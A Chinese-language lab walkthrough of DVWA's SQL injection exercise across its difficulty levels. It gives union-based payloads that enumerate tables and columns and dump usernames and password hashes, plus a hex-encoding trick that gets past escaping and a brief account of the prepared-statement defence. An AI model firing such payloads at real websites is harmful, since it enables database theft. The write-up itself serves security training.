SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被”脱裤“,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
手工注入思路
自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据

Low

注入类型

看源码:

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

​$id​​​带着单引号,明显是字符型注入。
测试方法:

1' and '2'='2

能够返回正确结果:

DVWA-2.0 SQL Injection_数据库

查询字段数

使用order by来猜测字段数。

1' order by 1 #

DVWA-2.0 SQL Injection_数据库_02

DVWA-2.0 SQL Injection_字段_03


当payload为​​1' order by 1 #​​​时, 报错:Unknown column ‘3’ in ‘order clause’,说明有2个字段。同样可以使用​​1' union select 1,2 #​​ 来查询出字段数。

DVWA-2.0 SQL Injection_字段_04


当payload为1’ union select 1,2,3 # 就报错了:​​The used SELECT statements have a different number of columns​​,说明只有2个字段。

确定显示的字段顺序

通过上面的union select可以确定显示顺序为:First name、Surname。

确定数据库名

​1' union select 1,database() #​​ 可以查询到:

DVWA-2.0 SQL Injection_字段_05

确定表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

可以确定表名。

DVWA-2.0 SQL Injection_字段_06


说明数据库dvwa中一共有两个表,guestbook与users。

确定字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

可以确定字段名为​​Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login​​。

DVWA-2.0 SQL Injection_字段_07

查询数据

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

DVWA-2.0 SQL Injection_字段_08

Medium

利用mysql_real_escape_string函数对特殊符号​​\x00,\n,\r,\,',",\x1a​​​进行转义,这对字符型注入有用,对数值型注入用处不大。
Medium前端为下拉列表,我们可以使用Burp来修改id的值。

检查注入类型

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

查看源码,可以确定为数值型注入。

另外通过payload来查看:

DVWA-2.0 SQL Injection_字段_09

检查字段个数

DVWA-2.0 SQL Injection_字段名_10


DVWA-2.0 SQL Injection_字段名_11

字段顺序

DVWA-2.0 SQL Injection_字段名_12

查询数据库

DVWA-2.0 SQL Injection_数据库_13

查询表名

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

DVWA-2.0 SQL Injection_字段名_14

查询字段名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&Submit=Submit

报错:

DVWA-2.0 SQL Injection_字段_15

这是因为​​mysqli_real_escape_string​​​把单引号转义成​​\'​​了。

这里可以利用16进制进行绕过,把​​users​​​字符串转成16进制:​​0x7573657273​​。

s1 = "users"
l1 = [hex(ord(i)) for i in s1]
s2 = ''.join([j.lstrip('0x') for j in l1])
print(s2)

# 0x7573657273
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&Submit=Submit

DVWA-2.0 SQL Injection_字段名_16

获取数据

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit

DVWA-2.0 SQL Injection_数据库_17

High

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

跟Medium相比,sql语句后面多加了​​LIMIT 1​​​,可以在payload后面加上​​#​​注释掉即可。

Impossible

用到了POD,分离了sql命令和请求id,分离了代码和数据。有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。